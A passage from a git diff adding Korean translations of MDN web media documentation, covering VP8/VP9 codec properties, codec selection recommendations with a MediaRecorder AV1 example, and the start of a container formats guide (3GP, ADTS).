+   <th scope="row">HDR 지원</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 브라우저</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">VP8 support</th>
+       <td>25</td>
+       <td>14<sup><a href="#vp8-foot-1">[1]</a></sup></td>
+       <td>4</td>
+       <td>9</td>
+       <td>16</td>
+       <td>12.1<sup><a href="#vp8-foot-2">[2]</a></sup></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>예; VP8은 WebRTC의 필수 코덱 중 하나</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://www.google.com/">Google</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td>{{RFC(6386)}}</td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>라이선스 및 로열티로부터 자유로운 오픈 소스</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="vp8-foot-1">[1]</a> Edge support for VP8 requires the use of <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a>.</p>
+
+<p><a id="vp8-foot-2" name="vp8-foot-2">[2]</a> Safari only supports VP8 in WebRTC connections.</p>
+
+<h3 id="VP9">VP9</h3>
+
+<p><strong>Video Processor 9</strong> (<strong>VP9</strong>)는 구글이 VP8 표준의 후속으로 개발하였습니다. VP8과 마찬가지로 VP9는 완전한 로열티-프리 오픈 소스입니다. 인코딩/디코딩 퍼포먼스는 AVC에 비해 더 높은 품질을 유지하면서도 약간 더 빠릅니다. VP9로 인코딩한 비디오의 품질은 비슷한 수준의 비트레이트에서 HEVC에 견줄만합니다.</p>
+
+<p>VP9의 main profile은 4:2:0 크로마 서브 샘플링에서 8-bit 색 깊이 모드만을 지원합니다. 하지만 더 깊은 색상 모드와 전체 범위의 크로마 서브샘플링을 지원하는 프로파일도 가지고 있습니다. HDR 기능도 있으며 프레임 레이트, 영상 비율, 프레임 사이즈를 자유롭게 선택할 수 있는 오셥도 제공합니다.</p>
+
+<p>VP9는 광범위한 브라우저가 지원하고 있으며 하드웨어 구현체로 상당히 퍼져있습니다. VP9는 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>에서만 사용할 수 있는 두 코덱 중 하나입니다(나머지 하나는 {{anch("VP8")}}). 하지만 Safari는 WebM 및 VP9 모두 지원하지 않으므로 VP9를 사용할 경우 iPhone, iPad, Mac에서 AVC나 HEVCS등 다른 포맷을 대체할 수 있도록 만들어야 합니다.</p>
+
+<p>Safari 지원이 빠져있지만 WebM 컨테이너를 쓸 수 있고 Safari 사용자에게 AVC/HEVC 대체 포맷 제공이 가능하다면 VP9은 좋은 선택입니다. 상용 코덱 대신에 오픈 코덱을 쓰기로 결정했다면 더할 나위 없죠. 호환 포맷을 제공할 수 없지만 Safari 사용자도 잃을 수 없다면 WebM에 VP9는 차선책이 좋을 겁니다. 아니라면 다른 코덱을 고려해 보셔야겠죠.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>level 제한이 없는 한 무제한 임의의 값</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>임의 값</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 65,536 x 65,536 픽셀</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Profile</th>
+       <th scope="col">색 깊이</th>
+       <th scope="col">크로마 서브샘플링</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Profile 0</th>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <th scope="row">Profile 1</th>
+       <td>8</td>
+       <td>4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+      <tr>
+       <th scope="row">Profile 2</th>
+       <td>10 to 12</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <th scope="row">Profile 3</th>
+       <td>10 to 12</td>
+       <td>4:2:0, 4:2:2, and f:4:4</td>
+      </tr>
+     </tbody>
+    </table>
+
+    <p>지원 색 공간: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), {{interwiki("wikipedia", "sRGB")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>예; HDR10+, <a href="https://en.wikipedia.org/wiki/Hybrid_Log-Gamma">HLG</a>, <a href="https://en.wikipedia.org/wiki/Perceptual_Quantizer">PQ</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">VP9 지원</th>
+       <td>29</td>
+       <td>14</td>
+       <td>28</td>
+       <td>No</td>
+       <td>10.6</td>
+       <td>No</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">유지/보수 기관</th>
+   <td><a href="https://www.google.com/">Google</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://www.webmproject.org/vp9/">https://www.webmproject.org/vp9/</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>라이선스 및 로열티-프리 오픈 소스requirements</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="코덱_선택하기">코덱 선택하기</h2>
+
+<p>어떤 코덱을 사용할지는 스스로 꼬리에 꼬리를 무는 질문을 던진 끝에 답을 얻을 수 있습니다.:</p>
+
+<ul>
+ <li>오픈 포맷을 사용할건가요? 상용 코덱도 염두에 두고 있나요?</li>
+ <li>한 비디오를 여러 포맷으로 생산할 여력이 되나요? fallback 옵션을 제공할 수 있다면 의사 결정 과정을 단순화 할 수 있습니다.</li>
+ <li>호환성을 포기할 수 있는 브라우저가 있나요?</li>
+ <li>보장하는 커버리지 상 가장 오래된 브라우저는 어떤 것인가요? 예를 들어 지난 5년간 출시된 모든 브라우저를 지원할지, 1년 사이의 브라우저만을 지원할지?</li>
+</ul>
+
+<p>아래 섹션에서는 특정 유즈케이스에서 추천할만한 코덱을 명시합니다. 각 유즈케이스마다 최대 두 개의 추천 코덱을 볼 수 있습니다. 특정 유즈케이스에 베스트인 코덱이 상용이거나 로열티 지불이 필요하다면 생각해 볼 두 가지 옵션이 있습니다: 로열티 프리 오픈 코덱을 선택하거나, 상용 라이선스를 따르거나.</p>
+
+<p>각 비디오당 하나의 포맷만 제공할 수 있다면 필요한 요구사항을 최대한 만족하는 최적의 포맷을 선택해야 합니다. 첫 번째 추천 코덱은 품질과 퍼포먼스, 호환성을 최대한 고려한 것이며 두번째는 품질과 퀄리티, 크기를 조금 희생하더라도 최대한의 호환성을 가지는 옵션입니다.</p>
+
+<h3 id="Recommendations_for_everyday_videos">Recommendations for everyday videos</h3>
+
+<p>우선 블로그나 정보형 사이트, 소규모 기업 웹사이트 등 상품을 설명하기 위한 비디오(비디오 자체가 상품은 아닌)를 위한 옵션을 알아봅시다.</p>
+
+<ol>
+ <li>
+  <p><strong><a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></strong> 컨테이너에 비디오는 <strong>{{anch("VP8")}}, 오디오는</strong> <strong><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a></strong> 코덱을 사용합니다. 이들은 로열티-프리 오픈 포맷이지만 최근 브라우저에서만 폭넓게 지원하는 경향이 있어 폴백 지원이 필수적입니다.</p>
+
+  <pre class="brush: js">&lt;video controls src="filename.webm"&gt;&lt;/video&gt;
+</pre>
+ </li>
+ <li>
+  <p><strong><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></strong> 컨테이너에 비디오 코덱은 <strong>{{anch("AVC")}}</strong> (<strong>H.264</strong>) 오디오 코덱은 <strong><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#AAC">AAC</a></strong> 를 사용합니다. MP4 컨테이너에 AVC, AAC 조합은 모든 주요 브라우저에서 폭넓게 지원하는 조합이며 대부분의 유즈케이스에서 좋은 품질을 보여주기 때문입니다. 하지만 라이선스 요구사항에 대해 컴플라이언스 이슈는 없는 지 확인이 필요하죠.</p>
+
+  <pre class="brush: html">&lt;video controls&gt;
+  &lt;source type="video/webm"
+          src="filename.webm"&gt;
+  &lt;source type="video/mp4"
+          src="filename.mp4"&gt;
+&lt;/video&gt;
+</pre>
+ </li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> {{HTMLElement("&lt;video&gt;")}} 엘리먼트는 자식으로 {{HTMLElement("source")}} 엘리먼트 유무에 상관 없이 <code>&lt;/video&gt;</code> 닫기 태그가 필요하다는 것을 잊지 마세요.</p>
+</div>
+
+<h3 id="고품질_비디오_제공을_위한_추천">고품질 비디오 제공을 위한 추천</h3>
+
+<p>여러분의 목표가 최대한 높은 품질의 비디오를 재생하는 것이라면 가능한한 다양한 포맷으로 제공할 수 있는 방법을 모색해야합니다. 최신의 코덱일수록 고품질 비디오를 지원하지만 반대로 브라우저 호환성은 떨어집니다.</p>
+
+<ol>
+ <li>
+  <p>WebM 컨테이너에 비디오 코덱은 AV1, 오디오 코덱은 Opus. AV1 인코딩 시 6.3 High level 같은 높은 전문 프로파일을 사용할 수 있다면 훌륭한 품질의 비디오를 4K/8K 해상도로 제공할 수 있습니다. 오디오 인코딩 시 Opus Fullband 프로파일로 48 kHz 샘플링 레이트를 사용한다면 사람이 들을 수 있는 거의 모든 주파수를 캡쳐할 수 있죠.</p>
+
+  <pre class="brush: js">&lt;video controls src="filename.webm"&gt;&lt;/video&gt;
+</pre>
+ </li>
+ <li>
+  <p>MP4 컨테이너에 비디오 코덱으로 {{anch("HEVC")}} 를 쓰되 프로파일은 Main 4:2:2 10/12 bit 색 깊이, 최대 Main 4:4:4 16 bit 색 깊이 수준의 고급 Main 프로파일을 사용합니다. 비트레이트를 높이면 놀라운 색 재현과 훌륭한 그래픽 퀄리티를 보여줄 것입니다. 또한 하이 다이나믹 레인지 비디오를 위한 HDR 메타데이터도 추가할 수 있습니다. 오디오는 ACC 인코딩 시 높은 샘플링 레이트(최소 48 kHz, 96 kHz 권장)에 fast-encoding이 아닌 complex-encoding을 사용합니다.</p>
+
+  <pre class="brush: html">&lt;video controls&gt;
+  &lt;source type="video/webm"
+          src="filename.webm"&gt;
+  &lt;source type="video/mp4"
+          src="filename.mp4"&gt;
+&lt;/video&gt;
+</pre>
+ </li>
+</ol>
+
+<h3 id="비디오_보존_편집_믹싱을_위한_추천">비디오 보존, 편집, 믹싱을 위한 추천</h3>
+
+<p>웹 브라우저에서 사용 가능한 무손실-아니면 거의 무손실-비디오 코덱은 현재 없습니다. 이유는 간단한데:비디오는 거대합니다. 무손실 압축은 손실 압축에 비해 비효율적입니다. 예를 들어 4:2:0 크로마 서브샘플링의 무압축 1080p 비디오(1920*1080 픽셀)는 최소 비트레이트가 1.5Gbps가 넘죠. FFV1(브라우저 미지원) 같은 무손실 압축 코덱을 사용하면 콘텐츠에 따라 다르지만 600 Mbps 근처로 줄일 수 있습니다. 하지만 네트워크로 보내이겐 여전히 엄청난 크기이며 현실적으로 불가능한 사이즈입니다.</p>
+
+<p>손실 코덱이 무손실 모드를 가지고 있다 하여도 별 반 다르지 않는데;현재 웹 브라우저에서 무손실 모드를 구현하고 있지 않기 때문입니다. 최선은 손실 압축을 사용하는 코덱 중 최대한 고품질 코덱을 선택한 뒤 최소한의 압축만 수행하도록 설정하는 것입니다. 한가지 방법은 코덱을 설정하기를 "fast" 압축을 선택하는 것입니다. 일반적으로 이는 압축을 최소화합니다.</p>
+
+<h4 id="외부에_비디오_보존">외부에 비디오 보존</h4>
+
+<p>여러분의 웹 사이트나 앱 외부 영역에 보존 목적의 비디오라면 무압축 원본 비디오 데이터를 압축하는 유틸리티를 사용하세요. 예를들어 <a href="https://www.videolan.org/developers/x264.html">x264</a> 유틸리티는 매우 높은 비트레이트로 {{anch("AVC")}} 인코딩을 할 수 있습니다:</p>
+
+<pre>x264 --crf 18 -preset ultrafast --output <em>outfilename.mp4</em> <em>infile</em></pre>
+
+<p>다른 코덱들도 충분한 여유가 있다면 더 나은 최고-품질 압축을 보여줄지도 모릅니다, 단지 그 인코더들은 엄청 느려서 위 압축으로 얻어지는 거의 무손실 비디오가 전체적으로 비슷한 품질을 보여주면서도 상당히 빠를겁니다.</p>
+
+<h4 id="비디오_녹화">비디오 녹화</h4>
+
+<p>무손실에 가까운 비디오를 보여줘야 한다는 제약이 있다면, {{anch("AVC")}} 또는 {{anch("AV1")}}를 고려해 볼 필요가 있습니다. 예를들어 비디오를 녹화하기 위해 <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>를 사용한다면, {{domxref("MediaRecorder")}} 객체를 생성하는 코드는 아래와 같습니다:</p>
+
+<pre class="brush: js">const kbps = 1024;
+const Mbps = kbps*kbps;
+
+const options = {
+  mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
+  bitsPerSecond: 800*Mbps,
+};
+
+let recorder = new MediaRecorder(sourceStream, options);</pre>
+
+<p>위 예제에서 <code>MediaRecorder</code>를 생성하여 BT.2100 HDR, 12-bit color 4:4:4 크로마 서브샘플링 설정으로 {{anch("AV1")}} 비디오 레코딩을, <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#FLAC">FLAC</a>으로 무손실 오디오를 레코딩 하고 있습니다. 결과물 파일은 비디오 오디오 트랙 합쳐 800Mbps를 넘지 않을 겁니다. 하드웨어 성능이나 요구사항, 사용하고자 하는 코덱에 따라 설정 값을 변경할 수 있습니다. 위의 비트 레이트 값은 네트워크 실사용 케이스에선 비현실적인 값이며 로컬 장치에서만 가능하겠죠.</p>
+
+<p><code>codecs</code> 파라미터 값을 '.' 기준으로 나눠서 의미를 분석해 봅시다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>av01</code></td>
+   <td>4문자 코드 (4CC-4 Character Code) {{anch("AV1")}} 코덱을 의미합니다.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td>프로파일. 2는 Professional profile. 1은 High profile, 0은 Main profile.</td>
+  </tr>
+  <tr>
+   <td><code>19H</code></td>
+   <td>레벨과 티어. AV 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#levels">A.3</a>의 표에서 설명, Level 6.3의 High tier를 의미합니다</td>
+  </tr>
+  <tr>
+   <td><code>12</code></td>
+   <td>색 깊이. 컴포넌트당 12bit를 의미. 8, 10도 가능하나 AV1에서 표현할 수 있는 가장 정확한 색 깊이 값이 12입니다.</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td>모노크롬 모드 플래그. 1로 지정하면 색차 성분은 녹화되지 않으며 휘도 성분만 축적되어 그레이스케일 이미ㅣ지로 표현됩니다. 색상을 사용할 것이므로 0으로 지정하였습니다.</td>
+  </tr>
+  <tr>
+   <td><code>000</code></td>
+   <td>크로마 서브샘플링 모드. AV1 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에 설명. 모노크롬 모드 값이 0일 때 000 값은 4:4:4 크로마 서브샘플링 또는 색상 손실이 없어야 함을 나태냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>09</code></td>
+   <td>사용할 색 공간. AV1 스펙의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에서 설명 9는 HDR을 위한 BT.2020 색역을 의미합니다.</td>
+  </tr>
+  <tr>
+   <td><code>16</code></td>
+   <td>전송시 사용할 색 공간. 마찬가지로 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a>에서 설명; 16은 BT.2100 PQ 컬러로 전송하겠다는 의미입니다.</td>
+  </tr>
+  <tr>
+   <td><code>09</code></td>
+   <td><a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">section 6.4.2</a> 에서 설명하는 계수 행렬. 9 값은 유동 휘도 값의 BT.2020 색역을 사용하겠다는 의미입니다. BT.2010 YbCbCr와 동일한 의미입니다.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td>"full range" 비디오 플래그. 1은 전체 컬러 영역을 녹화하겠다는 의미입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>선택하고자 하는 코덱 문서에 <code>codecs</code> 파라미터 값이 받아들이는 설정이 설명되어 있습니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">웹 오디오 코덱 가이드</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Containers">미디어 컨테이너 포맷(파일 타입)</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Support_issues">웹 콘텐츠에서 미디어 사용시 이슈 해결</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">WebRTC에서 사용하는 코덱</a></li>
+ <li>{{RFC(6381)}}: The "Codecs" and "Profiles" parameters for "Bucket" media types</li>
+ <li>{{RFC(5334)}}: Ogg Media Types</li>
+ <li>{{RFC(3839)}}: MIME Type Registrations for 3GPP Multimedia Files</li>
+ <li>{{RFC(4381)}}: MIME Type Registrations for 3GPP2 Multimedia Files</li>
+ <li>{{RFC(4337)}}: MIME Type Registrations for MPEG-4</li>
+</ul>
diff --git a/files/ko/web/media/formats/컨테이너/index.html b/files/ko/web/media/formats/컨테이너/index.html
new file mode 100644
index 0000000000..d4e45c294a
--- /dev/null
+++ b/files/ko/web/media/formats/컨테이너/index.html
@@ -0,0 +1,1279 @@
+---
+title: 미디어 컨테이너 포맷 (파일 타입)
+slug: Web/Media/Formats/컨테이너
+translation_of: Web/Media/Formats/Containers
+---
+<p>오디오와 비디오 파일 포맷은 두 파트에서 정의할 수 있습니다.(오디오 비디오가 한 파일에 있으면 물론 3 파트지요): 오디오/비디오 코덱와 미디어 컨테이너 포맷(도는 파일 타입)입니다. <span class="seoSummary">이 가이드 문서는 웹에서 널리 쓰이는 컨테이너 포맷에 대해 알아보고 기본적인 스펙와 장단점 그리고 적절한 사용법을 설명하고 있습니다.</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 는 컨테이너를 사용하지 않습니다. 대신에 각 트랙을 나타내는{{domxref("MediaStreamTrack")}} 객체를 통해 인코딩 된 오디오/비디오 트랙을 한 곳에서 다른 곳으로 직접 스트리밍합니다. WebRTC에서 일반적으로 사용하는 코덱이나 브라우저 호환성을 알아보려면 <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a> 문서를 참고하세요.</p>
+
+<h2 id="일반적인_컨테이너_포맷">일반적인 컨테이너 포맷</h2>
+
+<p>미디어 컨테이너 포맷에는 여러 종류가 있지만 여러분들은 보통 아래 나열된 목록의 포맷을 주로 만나게 될 겁니다. 일부는 오디오만 지원하는 것도 있고 오디오와 비디오 모두를 지원하는 포맷도 있죠. MIME 타입과 확장자도 나열되어 있습니다. 웹상에서 가장 많이 쓰이는 컨테이너 포맷은 아마도 MPEG-4 (MP4), Quicktime Movie (MOV), Wavefile Audio File Format (WAV)일겁니다. 또한 MP3, Ogg, WebM, AVI 등의 포맷도 볼 수 있지요. 하지만 모든 브라우저가 이 다양한 포맷들을 지원하는 것은 아닙니다. 사용하기 편하고 다른 조합과의 구분을 위해 특정한 컨테이너와 코덱의 조합은 독자적인 MIME type과 확장자를 가지기도 합니다. 예를들어 Opus 오디오 트랙만을 가진 Ogg파일은 가끔 Opus 파일이라 불리며 <code>.opus</code> 확장자를 가지는 경우도 있습니다. 하지만 실제로는 단순한 Ogg 파일일 뿐이죠.</p>
+
+<p>반대 케이스로 특정 코덱이 특정 컨테이너에 담긴 형태가 매우 보편적일 경우 독자적인 형식으로 취급하는 경우도 있습니다. MP3 오디오 파일이 대표적인 경우로, MPEG-1 컨테이너에 MPEG-1 Audio Layer III 코덱으로 인코딩 된 오디오 트랙 하나만이 담긴 케이스입니다. 컨테이너는 일반적인 MPEG지만 이 형식은 <code>audio/mp3</code> MIME 타입과 <code>.mp3</code> 확장자를 사용합니다.</p>
+
+<h2 id="컨테이너_포맷파일_타입_인덱스" style="font-size: 1.4em;">컨테이너 포맷(파일 타입) 인덱스</h2>
+
+<p>특정 컨테이너 포맷에 대해 더 알아보려면 아래 목록에서 찾아 클릭하세요. 컨테이너 사용법과 지원하는 코덱, 지원하는 브라우저 등을 알 수 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{anch("3GP")}}</li>
+ <li>{{anch("ADTS")}}</li>
+ <li>{{anch("FLAC")}}</li>
+ <li>{{anch("MPEG", "MPEG / MPEG-2")}}</li>
+ <li>{{anch("MP4", "MPEG-4 (MP4)")}}</li>
+ <li>{{anch("Ogg")}}</li>
+ <li>{{anch("QuickTime")}}</li>
+ <li>{{anch("WAVE")}}</li>
+ <li>{{anch("WebM")}}</li>
+</ul>
+</div>
+
+<h3 id="3GP">3GP</h3>
+
+<p><strong>3GP</strong> 또는 <strong>3GPP</strong> 컨테이너는 셀룰러 네트워크를 통해 전송하고 모바일 장치에서 사용하기 위해 고안되었습니다. 원래 3G 모바일 폰을 위해 디자인하였지만 현대의 모바일 폰과 네트워크에서도 사용하고 있습니다. 하지만 네트워크 처리량이 늘어나면서 3GP 포맷의 필요성은 점차 줄어들고 있죠. 그러나 여전히 느린 네트워크나 저사양 폰에서는 유용한 컨테이너이기도 합니다.</p>
+
+<p>이 컨테이너는 ISO Base Media File Format과 MPEG-4 기반이지만 저대역폭 케이스에 최적화되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>Base 3GP media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/3gpp</code></td>
+   <td><code>video/3gpp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gpp2</code></td>
+   <td><code>video/3gpp2</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gp2</code></td>
+   <td><code>video/3gp2</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>위는 3GP 컨테이너의 기본 MIME 타입입니다; 사용하는 코덱에 따라 다른 타입을 사용할 수도 있습니다; 또한 MIME 타입 문자열에 <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF"><code>codecs</code> 파라미터를 추가하여</a> 어떠한 오디오/비디오 코덱을 사용했는지 표시할 수 있으며 profile, level, 코덱 설정 값도 추가하여 전달할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption>3GP가 지원하는 비디오 코덱.</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a>,<a href="#3gp-vid-footnote-1">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 (MP4v-es)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-vid-footnote-1" name="3gp-vid-footnote-1">[1]</a> FIrefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-vid-footnote-2" name="3gp-vid-footnote-2">[2]</a> Firefox support for H.264 relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<table class="standard-table">
+ <caption>3GP가 지원하는 오디오 코덱</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AMR-NB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB+</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AAC-LC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v2</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-aud-footnote-1" name="3gp-aud-footnote-1">[1]</a> FIrefox only supports 3GP on <a href="https://www.khronos.org/openmax/">OpenMAX</a>-based devices, which currently means the Boot to Gecko (B2G) platform.</p>
+
+<p><a id="3gp-aud-footnote-2" name="3gp-aud-footnote-2">[2]</a> Firefox support for AAC relies upon the operating system's media infrastructure, so it is available as long as the OS supports it.</p>
+
+<h3 id="ADTS">ADTS</h3>
+
+<p><strong>Audio Data Transport Stream</strong> (<strong>ADTS</strong>) 는 인터넷 라디오 같은 오디오 스트림을 사용하기 위해 MPEG-4 Part 3로 규정된 컨테이너 포맷입니다. 근본적으로 ACC 오디오 데이터에서 스트림만 깐 것과 거의 동일하며 최소한의 헤더만 담긴 ADTS 프레임으로 구성되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>ADTS media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/aac</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+  <tr>
+   <td><code>audio/mpeg</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+ </tbody>
+</table>
+
